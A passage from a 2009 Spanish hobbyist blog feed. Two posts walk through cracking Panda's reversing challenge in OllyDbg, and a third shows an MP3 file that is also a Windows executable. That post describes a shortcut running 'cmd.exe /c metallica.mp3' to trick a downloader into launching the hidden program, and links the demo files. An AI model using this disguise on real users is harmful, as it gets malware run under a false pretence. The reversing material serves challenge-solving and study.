desesperé y lo di por imposible. Y es en estos momentos en los que uno piensa, recapacita, pero no mucho.&lt;/p&gt;  &lt;p align="justify"&gt;Pensé en que lo mejor sería, como se dice en &lt;a href="http://ricardonarvaja.info/WEB/INTRODUCCION%20AL%20CRACKING%20CON%20OLLYDBG%20DESDE%20CERO/EN%20FORMATO%20DOC/"&gt;los primeros tutoriales de cracking&lt;/a&gt;, encontrar “el chico bueno” y “el chico malo”. El mensaje que nos diga que hemos superado la protección y el mensaje que nos diga que no lo hemos hecho. El segundo ya lo tenemos es el mensaje “bad!”. ¿Pero y el chico bueno? ¿Qué imprime el programa cuando introducimos un serial válido?, y lo mas importante, ¿cuándo y porqué lo hace?.&lt;/p&gt;  &lt;p align="justify"&gt;Umm, vamos a ver que APIs usa, quizás eso nos aclare un poco las ideas. Botón derecho sobre la zona central “&lt;em&gt;Search for &amp;gt; Name (label) in current module”&lt;/em&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/Sdu2mK1xHwI/AAAAAAAAAGo/loQZTPdgedQ/s1600-h/image%5B19%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdu2m1j5i5I/AAAAAAAAAGs/rNAjJVr3rBE/image_thumb%5B11%5D.png?imgmax=800" width="292" border="0" height="167" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Como ya sabíamos se usan las funciones printf y scanf. printf se usará para mostrar lo de “Password:”, a continuación se utiliza scanf para recoger lo que escribimos y de nuevo un printf para decirnos si es correcto o no. &lt;/p&gt;  &lt;p align="justify"&gt;Entonces busquemos todos los sitios donde se usa printf, en alguno de ellos se tendrá que imprimir un mensaje parecido a “Conseguido”. Clic derecho sobre printf, “Find references to import”.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/Sdu2njVHaOI/AAAAAAAAAGw/L_lI10VK8MU/image_thumb%5B13%5D.png?imgmax=800" width="391" border="0" height="126" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Hay 3, ya que la última corresponde a la &lt;a href="http://support.microsoft.com/kb/100635/en"&gt;IAT&lt;/a&gt;. Pulsamos sobre cada referencia y vemos que parámetros se le pasan a printf en las 3 situaciones.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdu2oTnu5PI/AAAAAAAAAG0/f-t2KI7H86A/s1600-h/image%5B27%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdu2pPGuYbI/AAAAAAAAAG4/7sd4H_BI_jI/image_thumb%5B15%5D.png?imgmax=800" width="394" border="0" height="98" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;El primero estamos seguros que no es. Los otros dos pues depende de lo que se le valgan los parámetros LOCAL.3 y EAX en su debido momento. Si nos fijamos en el código y buscamos operaciones que modifiquen la variable LOCAL.3 vemos que solo se modifica al principio, asignándole el valor “bad!”.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdu2ptvFFFI/AAAAAAAAAG8/J5XBLGIzJgg/s1600-h/image%5B39%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/Sdu2qi3X2KI/AAAAAAAAAHA/TimrNcgsBDM/image_thumb%5B23%5D.png?imgmax=800" width="393" border="0" height="68" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Podemos verificar que en 403030 se encuentra la cadena “bad” y que casualidad, unos bytes mas adelante está la cadena “yes”, ¿será lo que buscamos?&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdu2r_3belI/AAAAAAAAAHE/Sd5fNY7UnnA/s1600-h/image%5B42%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/Sdu2vqnbO3I/AAAAAAAAAHM/bGCRG-ce1M4/image_thumb%5B24%5D.png?imgmax=800" width="244" border="0" height="71" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Así que sabemos que el segundo printf imprime siempre “bad!”. Seguramente se llegue aquí después de alguna comprobación que determine que nuestro serial es incorrecto. De hecho un par de instrucciones antes del segundo printf hay una comparación apetitosa.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdu2wSwDRJI/AAAAAAAAAHQ/SLuRozM8tBg/image_thumb%5B27%5D.png?imgmax=800" width="385" border="0" height="93" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Si no se activa el flag zero en las operaciones anteriores al JNZ nos lleva al segundo printf que imprime siempre bad :( Mas adelante tendremos que revisar como evitar esto. pero antes vamos a echar un ojo al último printf.&lt;/p&gt;  &lt;p align="justify"&gt;Al tercer printf se le pasa el registro EAX, donde estará la dirección de lo que imprimirá. Como podemos ver en el código, EAX vale la suma de la dirección de la cadena “bad” + un desplazamiento sacado de LOCAL.4&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdu2w5frFQI/AAAAAAAAAHU/i7PDSlj-72Y/s1600-h/image%5B53%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdu2xszlKgI/AAAAAAAAAHY/msScxRYnYBM/image_thumb%5B29%5D.png?imgmax=800" width="389" border="0" height="63" /&gt;&lt;/a&gt;
Sabemos, porque lo vimos en el anterior, que la variable LOCAL.3 se mantiene siempre con la dirección de la cadena “bad”. Y que si la variable LOCAL.4 vale 0, se imprimirá “bad!”, pero si LOCAL.4 vale 4, se imprimiría “yes!”.&lt;/p&gt;  &lt;p align="justify"&gt;Resumiendo. Sabemos que hay una comprobación que si no se cumple nos llevará al segundo printf, mostrando “bad!”. Y que el tercer printf nos mostrará el mensaje “yes!” si conseguimos que LOCAL.4 valga 4. Ya tenemos mas o menos analizadas las condiciones necesarias para que un serial sea correcto, en la siguiente entrada veremos como conseguir que esto ocurra…&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-6090060441589941167?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/6090060441589941167/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/6090060441589941167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/6090060441589941167'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html' title='Solución al reto 1 de Panda (II parte, FPqué!?)'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/Sdu2dIWEmyI/AAAAAAAAAGU/ISLXVkkO6Yo/s72-c/image_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-1188159128407531875</id><published>2009-04-06T23:49:00.006+02:00</published><updated>2009-04-08T23:40:58.179+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><title type='text'>Solución al reto 1 de Panda (I parte, fracaso absoluto)</title><content type='html'>&lt;p align="justify"&gt;--------------------------------------------------------------------
Solución al reto 1 de Panda (I parte, fracaso absoluto)
&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;Solución al reto 1 de Panda (II parte, FPqué!?)
&lt;/a&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-iii-parte.html"&gt;Solución al reto 1 de Panda (III parte, las dos comprobaciones)&lt;/a&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
&lt;/a&gt;--------------------------------------------------------------------&lt;a href="http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html"&gt;
&lt;/a&gt;&lt;/p&gt;&lt;p align="justify"&gt;El día 1 de este mes, abril, Panda organizó &lt;a href="http://www.pandasecurity.com/spain/promotions/retopanda/"&gt;unos retos&lt;/a&gt; orientados al estudio de las aplicaciones o ingeniería inversa, vamos, al cracking.&lt;/p&gt;  &lt;p align="justify"&gt;En total eran 3 retos separados en el tiempo, el primero de cada uno se llevaba un jugoso premio, una PSP, un IPOD y un miniportátil.&lt;/p&gt;  &lt;p align="justify"&gt;Yo me enteré de los retos el mismo día que salió el primero gracias a &lt;a href="http://equilibrioinestable.wordpress.com/"&gt;Pedro Laguna&lt;/a&gt;. El primer reto aún puede encontrarse &lt;a href="http://pandalabs.pandasecurity.com/blogs/images/PandaLabs/retopanda/test.exe"&gt;en su web&lt;/a&gt;.
&lt;a title="http://groups.google.es/group/CrackSLatinoS/attach/1a6575c1f4bd3608/test.rar?part=4" href="http://groups.google.es/group/CrackSLatinoS/attach/1a6575c1f4bd3608/test.rar?part=4"&gt;Mirror en google groups&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Tras abrirlo vemos una ventana de consola pidiéndonos un password:&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdp4eXc2cFI/AAAAAAAAAFQ/F3hk6mOYRjM/s1600-h/image%5B3%5D.png"&gt;&lt;img title="image" style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdp4gFFlXrI/AAAAAAAAAFU/_yXa1ime8Lc/image_thumb%5B1%5D.png?imgmax=800" width="410" border="0" height="110" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Incorrecto, ya decía yo que no podía tener tanta suerte. Lo abrimos con &lt;a href="http://www.ollydbg.de/"&gt;OllyDbg&lt;/a&gt;  &lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdp4mrTxN3I/AAAAAAAAAFY/58aXZf3eJ74/s1600-h/image%5B8%5D.png"&gt;&lt;img title="image" style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdp4rQVfZoI/AAAAAAAAAFc/-qQpRcfGAbs/image_thumb%5B4%5D.png?imgmax=800" width="409" border="0" height="320" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;No se ve nada interesante a primera vista. Lo primero que se me ocurre es buscar las cadenas que usa el programa para localizar la cadena “bad!” que imprime cuando introducimos un password incorrecto y encontrar la cadena que se mostrará cuando el password sea correcto. Botón derecho sobre la zona central, “&lt;em&gt;Search for &amp;gt; All referenced text strings”.&lt;/em&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/Sdp4sYjBsCI/AAAAAAAAAFg/D5rpUaQIMQg/s1600-h/image%5B24%5D.png"&gt;&lt;img title="image" style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdp4txS-lPI/AAAAAAAAAFk/n-6ofXvlv3w/image_thumb%5B12%5D.png?imgmax=800" width="395" border="0" height="124" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Encuentro:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;“bad!”, la cadena mostrada cuando se introduce el password incorrectamente &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;“Password: ”, lo que imprime printf al comienzo &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;“%d-%f-%f-%c”, parece una típica cadena de formato usada en scanf, tendría sentido ya que espera un entero, guion, dos float separados por guión y un carácter. Algo así 1234-678.45-234,43-T &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;“%s!”, a saber puede ser el formato cadena usado en printf o scanf &lt;/div&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p align="justify"&gt;Lo raro es que no encontramos ninguna cadena que nos muestre que hemos introducido el password correctamente.&lt;/p&gt;  &lt;p align="justify"&gt;Ahora se me ocurren varias posibilidades.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;Inspeccionar las instrucciones que hagan uso de la cadena “bad!” , antes de llegar ahí tiene que haber una comparación que nos lleve a la zona buena o a esta mala. Lo malo es que puede ser mucho antes e ir de adelante hacia atrás es mas complicado. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Ver donde se usa la cadena de formato típica de scanf y tracear hacía delante viendo que se hace con los valores introducidos hasta llegar a una zona que decida si mostrarnos el mensaje bueno o malo. &lt;/div&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p align="justify"&gt;Sigamos la segunda ya que el programa no parece muy largo. Botón derecho sobre la posible cadena de formato “Follow in Disassembler”&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/Sdp4x7un8OI/AAAAAAAAAFo/amN5zU-n9FA/s1600-h/image%5B29%5D.png"&gt;&lt;img title="image" style="border-width: 0px; display: inline;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdp403OMv6I/AAAAAAAAAFs/kZE68KlC6e8/image_thumb%5B15%5D.png?imgmax=800" width="400" border="0" height="278" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Pues si, va a ser una cadena usada por scanf. Sabemos que los 5 parámetros insertados en la pila antes de llamar a scanf serán:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;     &lt;div align="justify"&gt;La dirección de la cadena de formato &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;La dirección donde se guardará el primer entero, %d &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;La dirección donde se guardará el primer float, %f1 &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;La dirección donde se guardará el segundo float, %f2 &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;La dirección donde se guardará el carácter %c &lt;/div&gt;   &lt;/li&gt; &lt;/ol&gt;  &lt;p align="justify"&gt;Ponemos un breakpoint en el CALL scanf, ejecutamos, tras parar en el breakpoint vemos el estado de la pila, encontramos todos los parámetros pasados al CALL:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdp41fUYSOI/AAAAAAAAAFw/T105xKx0ELU/s1600-h/image%5B33%5D.png"&gt;&lt;img title="image" style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdp42DW8vTI/AAAAAAAAAF0/O_MdD9daMeU/image_thumb%5B17%5D.png?imgmax=800" width="292" border="0" height="182" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Podemos poner un breakpoint en cada una de las 4 direcciones para que el programa detenga su ejecución cuando se lean o escriban esos parámetros. De este modo tendríamos una idea de las operaciones que se hace con los números que introducimos para verificar si es un password correcto o no.&lt;/p&gt;  &lt;p align="justify"&gt;Haremos eso, seleccionamos cada dirección del stack, clic derecho, “&lt;em&gt;Follow in dump&lt;/em&gt;”.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdp43tj1R9I/AAAAAAAAAF4/W5Qxa45sF9k/s1600-h/image%5B36%5D.png"&gt;&lt;img title="image" style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdp44qS1CII/AAAAAAAAAF8/3WXzbdQcnUY/image_thumb%5B18%5D.png?imgmax=800" width="244" border="0" height="191" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Seleccionamos los 4 primeros bytes que es lo que &lt;a href="http://matados2k.es/files/CURSO%20DESDE%200%20DE%20PROGRAMACION%20Entrega%205.pdf"&gt;ocupa un entero&lt;/a&gt;, botón derecho “Breakpoint &amp;gt; Hardware, on access &amp;gt; Dword”. Seguimos el mismo procedimiento para los otros 3 valores, teniendo en cuenta que un float también ocupa 4 bytes y un carácter ocupa uno.&lt;/p&gt;  &lt;p align="justify"&gt;Perfecto, ahora recordemos que el programa lo tenemos parado en el breakpoint que pusimos a la instrucción Call scanf. Así que pulsamos F8 para ejecutar scanf.&lt;/p&gt;  &lt;p align="justify"&gt;El programa estará a la espera de que introduzcamos el password por la consola, nosotros introduciremos el valor “1-2.0-3.0-A”.&lt;/p&gt;  &lt;p align="justify"&gt;El programa parará varias veces ya que accede a las zonas de memoria donde guarda los valores recogidos desde la consola y donde pusimos los hardware breakpoint. Pulsamos F9 hasta ver que nos encontramos en la siguiente instrucción del CALL scanf.&lt;/p&gt;  &lt;p align="justify"&gt;Podremos comprobar en el DUMP, que en las direcciones que vimos en la pila se sitúan los valores que hemos introducido por consola.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdp45R5SOnI/AAAAAAAAAGA/4cwmNJl8rv0/s1600-h/image%5B39%5D.png"&gt;&lt;img title="image" style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/Sdp46DevF8I/AAAAAAAAAGE/qYyrnvbzapE/image_thumb%5B19%5D.png?imgmax=800" width="244" border="0" height="109" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Vemos la ‘A’, 40400000, 40000000 y 00000001. Recordad que se usa &lt;a href="http://lefunes.wordpress.com/2008/05/13/endianess-big-endian-y-little-endian/"&gt;Little-Endian&lt;/a&gt;. Los dos float, se almacenan en coma flotante de ahí que no se distinga a primera vista el 2.0 y el 3.0.&lt;/p&gt;  &lt;p align="justify"&gt;Seguimos pulsando F9 y vemos que el programa se va deteniendo según usa los valores recogidos desde la consola. Vemos que se detiene a veces en instrucciones muy raras.&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/Sdp460jSEtI/AAAAAAAAAGI/gmfyL-9VZEQ/s1600-h/image%5B43%5D.png"&gt;&lt;img title="image" style="border-width: 0px; display: inline;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/Sdp48oiWMXI/AAAAAAAAAGM/57ECohPFURk/image_thumb%5B21%5D.png?imgmax=800" width="369" border="0" height="242" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Buscando con el perrito del ciego de lycos, encontramos que son instrucciones del &lt;a href="http://209.85.229.132/search?q=cache:7hS0nG7BZxMJ:www.programacion.net/simple/articulo/copro/+coprocesador+matematico+ensamblador+site:programacion.net&amp;amp;cd=6&amp;amp;hl=es&amp;amp;ct=clnk&amp;amp;gl=es"&gt;coprocesador matemático&lt;/a&gt;, la FPU, “operaciones para trabajar con números en coma flotante”. Mierda !&lt;/p&gt;  &lt;p align="justify"&gt;Seguimos pulsando F9 y deteniéndonos por los malditos hardware breakpoints. Hasta que el programa finaliza sin habernos dado cuenta de que ha pasado.&lt;/p&gt;  &lt;p align="justify"&gt;Doble mierda, plan fallido ! Mi idea era que durante el progreso hubiese encontrado cómo fácilmente se mueven los valores a los registros habituales y se usan instrucciones comunes para compararlos con algún valor esperado. Pero lo mas cercano que he encontrado han sido un montón de instrucciones raras de la FPU.&lt;/p&gt;  &lt;p align="justify"&gt;Primera aproximación fallida. Tendremos que ir poco a poco viendo lo que hacen instrucciones posteriores al scanf, hasta comprender porque nuestro password no es correcto.
&lt;/p&gt;&lt;p align="justify"&gt;Continuará...
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-1188159128407531875?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/1188159128407531875/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1188159128407531875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1188159128407531875'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda.html' title='Solución al reto 1 de Panda (I parte, fracaso absoluto)'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/Sdp4gFFlXrI/AAAAAAAAAFU/_yXa1ime8Lc/s72-c/image_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5174485936575384092</id><published>2009-03-27T02:07:00.002+01:00</published><updated>2009-03-27T02:53:14.905+01:00</updated><title type='text'>El mp3 ejecutable</title><content type='html'>&lt;p align="center"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/ScwmntPR5lI/AAAAAAAAAEQ/0H9dMJHXcUM/s1600-h/metallica1%5B14%5D.png"&gt;&lt;img style="border: 0px none ;" alt="metallica1" src="http://lh3.ggpht.com/_FGFE7zLOsQk/ScwmoZglTmI/AAAAAAAAAEU/_AGX9SgN8Cc/metallica1_thumb%5B12%5D.png?imgmax=800" width="239" border="0" height="139" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Esto de aquí arriba es una &lt;a href="http://www.youtube.com/watch?v=ZlhmigaacJc"&gt;bonita canción de Metallica&lt;/a&gt; ... o eso parece.&lt;/p&gt;  &lt;p align="center"&gt; &lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/ScwmpGJVgeI/AAAAAAAAAEY/aKRTSU83cvs/s1600-h/metallica2%5B2%5D.png"&gt;&lt;img style="border: 0px none ;" alt="metallica2" src="http://lh3.ggpht.com/_FGFE7zLOsQk/Scwmp7ijN1I/AAAAAAAAAEc/zqMKi-KNq8w/metallica2_thumb.png?imgmax=800" width="244" border="0" height="218" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Si, tras escucharla he verificado que es una hermosa canción de Metallica. Tan bonita, tan bonita que me apetece verla hexadecimalmente, seguro que sigue los esquemas binarios mas armónicos del mundo !!&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/ScwmrPUWxSI/AAAAAAAAAEg/1amvJiFEuAc/s1600-h/metallica3%5B4%5D.png"&gt;&lt;img style="border: 0px none ;" alt="metallica3" src="http://lh6.ggpht.com/_FGFE7zLOsQk/ScwmsqGj2EI/AAAAAAAAAEk/xI2RFCjQ6xQ/metallica3_thumb%5B2%5D.png?imgmax=800" width="391" border="0" height="194" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;¿MZ? Eso no era lo de...como era...si, eso del msdos, los ejecutables y tal, no? No se yo...que raro es esto, ¿perooo ... no era una canción?. Voy a renombrar el archivo a exe a ver que me dice windows.&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/Scwms1W373I/AAAAAAAAAEo/TTD15XEy4Dg/s1600-h/metallica4%5B2%5D.png"&gt;&lt;img style="border: 0px none ;" alt="metallica4" src="http://lh5.ggpht.com/_FGFE7zLOsQk/ScwmtpqiaoI/AAAAAAAAAEs/JXyZb6bRqj0/metallica4_thumb.png?imgmax=800" width="244" border="0" height="223" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Vaya, parece que se ejecuta y me muestra ese cartel. Pero ¿cómo es posible que sea un mp3 y un exe al mismo tiempo?&lt;/p&gt;  &lt;p align="justify"&gt;Por lo que comentan &lt;a href="http://www.mp3-tech.org/programmer/frame_header.html"&gt;en este enlace&lt;/a&gt;, el formato mp3 se compone de varios frames que no están en posiciones fijas. Y que para reproducir un mp3 lo primero que se hace es hallar el primer frame. Así que en teoría antes del primer frame puede haber lo que quiera, incluso un exe. El reproductor de música buscará el primer frame saltándose toda la basura inicial e ignorando el posible ejecutable.&lt;/p&gt;  &lt;p align="justify"&gt;Así que tenemos un archivo que, según la extensión que tenga, windows lo ejecuta correctamente como un ejecutable o lo envía al reproductor por defecto el cual lo interpreta adecuadamente como un mp3 válido.&lt;/p&gt;  &lt;p align="justify"&gt;Umm pero y como lo ejecutará el comando start de cmd, ¿cómo exe o cómo mp3?&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/ScwmuCBLcCI/AAAAAAAAAEw/QB6OXRPyBpo/s1600-h/metallica5%5B3%5D.png"&gt;&lt;img style="border: 0px none ;" alt="metallica5" src="http://lh6.ggpht.com/_FGFE7zLOsQk/ScwmuyGaY4I/AAAAAAAAAE0/JaePUMVLjJ4/metallica5_thumb%5B1%5D.png?imgmax=800" width="385" border="0" height="199" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Como un ejecutable, parece que omite la extensión y se fija en la cabecera del fichero. Interesante....&lt;/p&gt;  &lt;p align="justify"&gt;Si, interesante porque alguien podría hacer acceso directo que ejecutase el comando "cmd.exe /c metallica.mp3"  
&lt;span style="font-family:Lucida Console;font-size:78%;color:#303030;"&gt;/C  Ejecuta el comando especificado en cadena y luego finaliza&lt;/span&gt;&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/ScwmvsxOeMI/AAAAAAAAAE4/6UtX700mnN8/s1600-h/metallica6%5B3%5D.png"&gt;&lt;img style="border: 0px none ;" alt="metallica6" src="http://lh3.ggpht.com/_FGFE7zLOsQk/ScwmwkbkUBI/AAAAAAAAAE8/5yYXHCc6BLM/metallica6_thumb%5B1%5D.png?imgmax=800" width="385" border="0" height="257" /&gt;&lt;/a&gt; 
*Nótese el atractivo titulo del acceso directo&lt;/p&gt;  &lt;p align="justify"&gt;cmd.exe interpretaría el archivo como un fichero ejecutable y ... BOOM.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://rapidshare.com/files/213969550/mp3_exe.zip"&gt;De aquí podéis descargar&lt;/a&gt; el fabuloso disco de Metallica (en realidad es un solo mp3-exe y el malvado acceso directo).    
El incauto usuario se lo baja y desolado comprueba que no es todo el disco, es una sola canción.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/ScwmxtR9B5I/AAAAAAAAAFA/Wd5JSIyHMxE/s1600-h/metallica7%5B6%5D.png"&gt;&lt;img style="border: 0px none ;" alt="metallica7" src="http://lh5.ggpht.com/_FGFE7zLOsQk/ScwmyhTmFrI/AAAAAAAAAFE/bM8JMzVciRU/metallica7_thumb%5B2%5D.png?imgmax=800" width="382" border="0" height="263" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Tras escucharla se fija en ese link que dice llevarle a la página donde podrá bajarse el disco completo, pero tras pulsarlo...&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/ScwmzKRBTPI/AAAAAAAAAFI/W5TuJZJ_85I/s1600-h/metallica8%5B5%5D.png"&gt;&lt;img style="border: 0px none ;" alt="metallica8" src="http://lh6.ggpht.com/_FGFE7zLOsQk/Scwmz0-2etI/AAAAAAAAAFM/Zzyg7gIJdLk/metallica8_thumb%5B3%5D.png?imgmax=800" width="381" border="0" height="200" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Windows le muestra un extraño cartel y decide ir a tienda a comprarse el 